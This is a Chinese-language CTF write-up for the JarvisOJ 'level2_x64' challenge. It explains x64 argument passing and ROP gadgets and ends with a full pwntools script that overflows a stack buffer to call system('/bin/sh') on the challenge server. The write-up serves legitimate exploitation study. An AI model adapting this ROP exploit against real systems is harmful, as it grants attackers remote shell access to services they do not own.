题目来源
nc pwn2.jarvisoj.com 9882
level2_x64.04d700633c6dc26afc6a1e7e9df8c94e
解题
x64和x86的区别:
linux_64与linux_86的区别主要有两点:首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9中,如果还有更多的参数的话才会保存在栈上。
对于这一题,我们知道system函数只有一个参数,也就是说,这个参数应该是保存在RDI中,而不会保存到栈上面,不然的话就是第7个参数了,但是我们在进行栈溢出的时候,并不能直接写到寄存器中去。这里,我们就必须用到一些其他的方法。使用gadget控制RDI等寄存器,所谓gadget,通俗来讲就是程序中的一些小指令,因为我们在一个程序中,不一定能找到刚好符合我们想法一大段的指令(就像system函数和/bin/sh不会每次都以system(’/bin/sh’)出现给你直接使用),我们就只能找一些零碎的片段,再组合起来慢慢使用。
关于寻找gadget的方法,建议看蒸米大神的《一步一步学ROP之linux_x64篇》
在这里,我就使用其中的一种方法寻找gadget。
先checksec一下看有没有保护机制
有NX保护
将文件用IDA(64位)打开,在vul()函数中有一个read函数存在栈溢出漏洞
使用pop_ret将我们写到栈中的参数放到RDI中(大佬们称此为平衡栈帧)
【向大佬借一张图理解~~】
使用ROPgadget寻找这个指令片段
找到rdi的地址
写脚本
from pwn import *
system_addr=0x00000000004004C0
pop_addr=0x00000000004006b3
binsh_addr=0x0000000000600A90
p=remote("pwn2.jarvisoj.com",9882)
p.recvline()
payload='a'*0x80+'a'*0x8+p64(pop_addr)+p64(binsh_addr)+p64(system_addr)
p.send(payload)
p.interactive()
p.close()
在vm终端,python环境下跑一下脚本